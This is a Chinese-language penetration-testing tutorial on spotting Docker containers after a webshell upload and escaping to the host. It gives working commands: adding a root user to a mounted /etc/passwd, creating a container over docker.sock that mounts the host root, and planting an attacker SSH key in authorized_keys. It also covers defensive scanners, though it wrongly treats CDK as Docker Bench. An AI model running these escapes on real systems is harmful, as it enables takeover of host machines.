目錄
如何通過上傳的webshell判斷當前環境是否是物理環境還是Docker環境
方法一:檢查文件系統
方法二:查看進程
方法三:檢查網絡配置
方法四:檢查環境變量
方法五:檢查掛載點
總結
2. 如果是Docker環境,是否和正常的物理環境一樣進行后滲透測試工作
是否一樣
Docker環境與物理環境的區別
調整后的滲透測試策略
總結
3. Docker服務器有什么特點?對滲透測試及內網滲透橫向擴展有什么影響
Docker服務器的特點
對滲透測試的影響
對內網滲透橫向擴展的影響
總結
4. 網絡安全及內網滲透中Docker逃逸的相關問題
Docker逃逸是什么
目的是什么
什么情況下使用
什么情況下逃逸會成功
總結
5. 實際案例:網絡安全中的Docker逃逸
場景
步驟
相關配置
銀行項目組的影響
總結
6. Docker逃逸的手法及實際案例
手法一:掛載宿主機文件系統
手法二:特權模式
手法三:共享網絡命名空間
手法四:漏洞利用(Docker Socket)
手法五:內核漏洞
總結
7. Docker不安全配置掃描工具及關聯
常見工具
與Docker的關聯
總結
8. CDK(假設為Docker Bench)的不安全掃描使用方式及案例
假設CDK為Docker Bench for Security
實際案例
總結
9. 將物理根目錄掛載到Docker后,如何利用SSH密鑰控制物理機
步驟
總結
綜合總結:內網滲透中的Docker逃逸手法
如何通過上傳的webshell判斷當前環境是否是物理環境還是Docker環境
當通過webshell成功進入目標系統后,我們需要判斷當前運行環境是物理機還是Docker容器。
以下是具體方法和步驟:
方法一:檢查文件系統
-
原理:Docker容器的文件系統通常是只讀的,或者具有特定的掛載點,而物理機的文件系統則沒有這些限制。
-
操作:
-
執行命令:
cat /proc/1/cgroup
-
判斷依據:
-
如果輸出中包含
docker
或kubepods
等字樣,說明當前環境是Docker容器。 -
如果沒有這些關鍵字,通常是物理環境。
-
-
-
示例:
/proc/1/cgroup 輸出: 11:perf_event:/docker/1234567890abcdef
其中
docker
表明這是一個Docker容器。 -
方法二:查看進程
-
原理:Docker容器中
-
進程ID為1的進程通常是容器的初始化進程(init)
-
而物理機中PID為1的進程是系統的init進程(如systemd)
-
-
操作:
-
執行命令:
ps aux | grep init
-
判斷依據:
-
如果PID為1的進程是
/sbin/init
或systemd
,則可能是物理環境。 -
如果是其他輕量級進程(如bash、sh或用戶定義的進程),則可能是Docker容器。
-
-
-
示例:
root ? ? ? ? 1 0.0 0.1 12345 6789 ? ? ? ? Ss ? 00:00 ? /bin/bash
這種情況下,PID 1是bash,說明是Docker容器。
-
方法三:檢查網絡配置
-
原理:Docker容器有獨立的網絡棧,通常使用橋接網絡(如
docker0
),而物理機沒有這些特定接口。 -
操作:
-
執行命令:
ip a
或ifconfig
-
判斷依據:
-
如果看到
docker0
或類似橋接接口,說明是Docker環境。 -
如果僅看到物理網卡(如
eth0
),則可能是物理環境。
-
-
-
示例:
2: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN
存在
docker0
,表明是Docker環境。
方法四:檢查環境變量
-
原理:某些Docker容器會設置特定的環境變量,而物理機通常沒有。
-
操作:
-
執行命令:
env
-
判斷依據:
-
如果看到
DOCKER_CONTAINER
或類似變量,說明是Docker環境。
-
-
-
示例:
DOCKER_CONTAINER=true
表明當前是Docker容器。
方法五:檢查掛載點
-
原理:Docker容器有特定的掛載點(如
/var/lib/docker
),物理機沒有這些。 -
操作:
-
執行命令:
mount
-
判斷依據:
-
如果看到
/var/lib/docker
或類似掛載點,說明是Docker環境。
-
-
-
示例:
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/...)
表明是Docker容器。
方法六:檢查文件系統特征:
-
查看根目錄下是否存在
.dockerenv
或/run/.containerenv
,這是Docker容器的標記文件。 -
檢查
/proc/1/cgroup
文件內容,若包含docker
、k8s
或容器ID,則為容器環境。 -
執行
mount | grep overlay
,容器通常使用overlay
或aufs
作為存儲驅動。
總結
通過以上方法,從文件系統、進程、網絡、環境變量和掛載點五個方面檢查,結合多方面證據,可以準確判斷當前環境是物理機還是Docker容器。通常只需執行cat /proc/1/cgroup
即可快速得出結論。
2. 如果是Docker環境,是否和正常的物理環境一樣進行后滲透測試工作
是否一樣
-
答案:不完全一樣。
-
原因:Docker環境與物理環境在資源、網絡、文件系統和權限等方面存在顯著差異,因此后滲透測試需要根據Docker的特性進行調整。
Docker環境與物理環境的區別
-
資源限制:
-
Docker容器通常有CPU、內存和磁盤的限制,可能導致某些滲透測試工具(如爆破工具)運行受限。
-
物理機通常資源更充足。
-
-
網絡隔離:
-
Docker容器使用獨立的網絡命名空間,默認無法直接訪問宿主機或其他容器的網絡。
-
物理機可以直接訪問網絡資源。
-
-
文件系統隔離:
-
Docker容器的文件系統是隔離的,無法直接訪問宿主機的文件。
-
物理機的文件系統是全局的。
-
-
權限限制:
-
Docker容器可能以非root用戶運行,權限受限。
-
物理機上通常更容易獲得root權限。
-
調整后的滲透測試策略
-
提權:
-
在Docker容器內,嘗試提升權限到root用戶。例如,利用容器內的suid程序或漏洞提權。
-
示例命令:
find / -perm -4000 2>/dev/null
查找suid文件。
-
-
突破網絡隔離:
-
使用端口轉發(如
ssh -L
)或代理工具(如proxychains),訪問宿主機或其他網絡資源。
-
-
嘗試Docker逃逸:
-
如果需要更深入滲透,嘗試從容器逃逸到宿主機,獲取更高權限(詳見問題4)。
-
-
工具調整:
-
選擇輕量級工具,避免因資源限制導致工具崩潰。
-
總結
- 在Docker環境中,后滲透測試不能直接套用物理環境的流程。
- 需要針對容器的隔離性、資源限制和權限特性,調整策略,必要時進行逃逸操作。
3. Docker服務器有什么特點?對滲透測試及內網滲透橫向擴展有什么影響
Docker服務器的特點
-
隔離性:
-
文件系統、網絡和進程都與宿主機及其他容器隔離。
-
-
輕量級:
-
啟動快,資源占用少,基于鏡像運行。
-
-
可移植性:
-
容器可以在不同宿主機上運行,配置一致。
-
對滲透測試的影響
-
權限提升難度增加:
-
由于隔離性,攻擊者需要突破容器限制才能訪問宿主機。
-
-
網絡攻擊復雜化:
-
容器的網絡棧獨立,需了解Docker的網絡模式(如橋接、主機模式)才能有效攻擊。
-
-
工具運行受限:
-
資源限制可能導致某些工具無法正常運行。
-
對內網滲透橫向擴展的影響
-
橫向擴展受阻:
-
容器之間的隔離使得直接攻擊其他容器或宿主機變得困難。
-
-
逃逸需求增加:
-
要實現橫向擴展,往往需要先逃逸到宿主機,控制宿主機后再攻擊其他容器或內網主機。
-
-
網絡配置依賴:
-
攻擊者需利用Docker的網絡配置(如共享主機網絡)進行橫向移動。
-
總結
Docker服務器的隔離性提高了滲透難度,攻擊者需要針對其特點調整策略,尤其是通過逃逸實現橫向擴展。
4. 網絡安全及內網滲透中Docker逃逸的相關問題
Docker逃逸是什么
-
定義:Docker逃逸是指從Docker容器內部突破隔離限制,獲取宿主機的控制權或訪問宿主機的資源。
-
本質:利用Docker配置漏洞或系統漏洞,打破容器與宿主機的邊界。
目的是什么
-
獲取更高的權限,訪問宿主機的文件系統、網絡或其他資源,從而進行更深入的滲透或攻擊。
什么情況下使用
-
當攻擊者已通過webshell或其他方式控制了Docker容器,但權限受限,無法直接影響宿主機或其他容器時。
-
示例場景:攻擊者想從容器內竊取宿主機的敏感數據。
什么情況下逃逸會成功
-
配置不當:
-
容器以特權模式運行(
--privileged
)。 -
宿主機敏感目錄(如
/
或/var/run/docker.sock
)掛載到容器內。
-
-
漏洞利用:
-
Docker daemon漏洞(如未授權訪問Docker socket)。
-
內核漏洞(如Dirty COW)。
-
-
共享資源:
-
容器與宿主機共享網絡命名空間(
--net=host
)或IPC。
-
總結
Docker逃逸是內網滲透中的高級手法,用于突破容器限制,其成功依賴于目標系統的配置錯誤或漏洞。
5. 實際案例:網絡安全中的Docker逃逸
場景
某銀行項目組使用Docker部署應用,開發人員誤將宿主機的/etc
目錄掛載到容器內,導致安全隱患。
步驟
-
上傳webshell:
-
攻擊者通過漏洞(如文件上傳漏洞)將webshell上傳到容器內。
-
-
發現掛載點:
-
執行
ls /mnt/etc
,發現這是宿主機的/etc
目錄。
-
-
修改passwd文件:
-
在容器內執行:
echo "hacker:x:0:0:hacker:/root:/bin/bash" >> /mnt/etc/passwd
添加一個root權限用戶
hacker
。
-
-
登錄宿主機:
-
使用
hacker
用戶通過ssh登錄宿主機,控制整個系統。
-
相關配置
-
Docker運行命令:
docker run -v /etc:/mnt/etc -d myimage
-v /etc:/mnt/etc
將宿主機的/etc
掛載到容器的/mnt/etc
。
銀行項目組的影響
-
攻擊者控制宿主機后,可能竊取銀行客戶的敏感數據,導致重大安全事故。
總結
此案例展示了配置不當(掛載敏感目錄)如何導致Docker逃逸,攻擊者利用這一點輕松控制宿主機。
6. Docker逃逸的手法及實際案例
以下是常見的Docker逃逸手法,每種均附帶實際案例:
手法一:掛載宿主機文件系統
-
案例:如問題5所述,銀行項目組掛載
/etc
,攻擊者修改passwd
逃逸。 -
步驟:掛載
/etc
后,添加用戶或修改配置文件。
手法二:特權模式
-
案例:某企業運行容器時使用
--privileged
:docker run --privileged -d myimage
-
步驟:
-
在容器內執行
ls /dev
,發現宿主機設備(如磁盤)。 -
使用
dd
命令直接操作宿主機磁盤,寫入后門。
-
手法三:共享網絡命名空間
-
案例:某服務器使用
--net=host
運行容器:docker run --net=host -d myimage
-
步驟:
-
在容器內執行
ip a
,發現宿主機的網絡接口。 -
發起網絡攻擊,直接控制宿主機。
-
手法四:漏洞利用(Docker Socket)
-
案例:某系統將
/var/run/docker.sock
掛載到容器:docker run -v /var/run/docker.sock:/var/run/docker.sock -d myimage
-
步驟:
-
在容器內使用curl訪問Docker API:
curl --unix-socket /var/run/docker.sock http://localhost/containers/create -X POST -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt"]}'
-
創建新容器,掛載宿主機根目錄,逃逸成功。
-
手法五:內核漏洞
-
案例:利用Dirty COW漏洞(CVE-2016-5195)。
-
步驟:
-
在容器內編譯漏洞利用代碼。
-
提權到宿主機root用戶。
-
總結
這些手法利用了配置錯誤(如特權模式、掛載敏感目錄)和漏洞(Docker API、內核),是Docker逃逸的核心手段。
7. Docker不安全配置掃描工具及關聯
常見工具
-
Docker Bench for Security:
-
檢查Docker配置安全的腳本。
-
-
Clair:
-
掃描Docker鏡像中的軟件漏洞。
-
-
Anchore:
-
分析容器鏡像的安全性和配置問題。
-
-
Dockle:
-
檢查鏡像的安全最佳實踐。
-
與Docker的關聯
-
這些工具識別Docker配置中的安全隱患(如特權模式、掛載敏感目錄),防止攻擊者利用這些問題進行逃逸。
-
示例:Docker Bench可能報告“容器以特權模式運行”,提示管理員修復。
總結
使用這些工具可以提前發現并修復不安全配置,降低Docker逃逸風險。
8. CDK(假設為Docker Bench)的不安全掃描使用方式及案例
假設CDK為Docker Bench for Security
-
使用方式:
-
下載腳本:
git clone https://github.com/docker/docker-bench-security.git
-
運行腳本:
cd docker-bench-security && sh docker-bench-security.sh
-
查看報告:
-
報告列出配置問題及建議。
-
-
實際案例
-
場景:某企業運行Docker容器。
-
步驟:
-
運行腳本后,報告顯示:
[WARN] 1.2.1 - Ensure the container is not running in privileged mode
-
檢查發現容器使用
--privileged
運行。 -
修復:修改為非特權模式運行。
-
-
結果:避免了潛在的逃逸風險。
總結
Docker Bench通過掃描識別不安全配置,幫助管理員加固系統。
9. 將物理根目錄掛載到Docker后,如何利用SSH密鑰控制物理機
步驟
-
掛載根目錄:
-
Docker運行命令:
docker run -v /:/host -d myimage
宿主機根目錄掛載到容器的
/host
。
-
-
訪問SSH目錄:
-
在容器內執行:
ls /host/root/.ssh/
檢查是否存在
authorized_keys
。
-
-
添加攻擊者公鑰:
-
執行:
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@host" >> /host/root/.ssh/authorized_keys
將攻擊者的公鑰追加到文件中。
-
-
SSH登錄宿主機:
-
在攻擊者機器上:
ssh root@宿主機IP
使用對應私鑰登錄。
-
總結
通過掛載根目錄,攻擊者可直接修改宿主機的SSH配置,控制物理機。
綜合總結:內網滲透中的Docker逃逸手法
-
判斷環境:通過
/proc/1/cgroup
、進程、網絡等方法區分物理機和Docker。 -
滲透調整:Docker環境下需突破隔離,必要時逃逸。
-
Docker特點:隔離性增加了橫向擴展難度。
-
逃逸核心:利用配置不當(如特權模式、掛載敏感目錄)和漏洞(如Docker Socket、內核漏洞)。
-
實際案例:銀行掛載
/etc
導致逃逸,展示了配置錯誤的嚴重性。 -
工具防護:Docker Bench等工具可提前發現問題。
-
控制物理機:掛載根目錄后修改SSH密鑰是典型手法。
通過以上邏輯,您應能全面理解Docker逃逸的原理、方法及應用場景,在內網滲透中靈活應對Docker環境。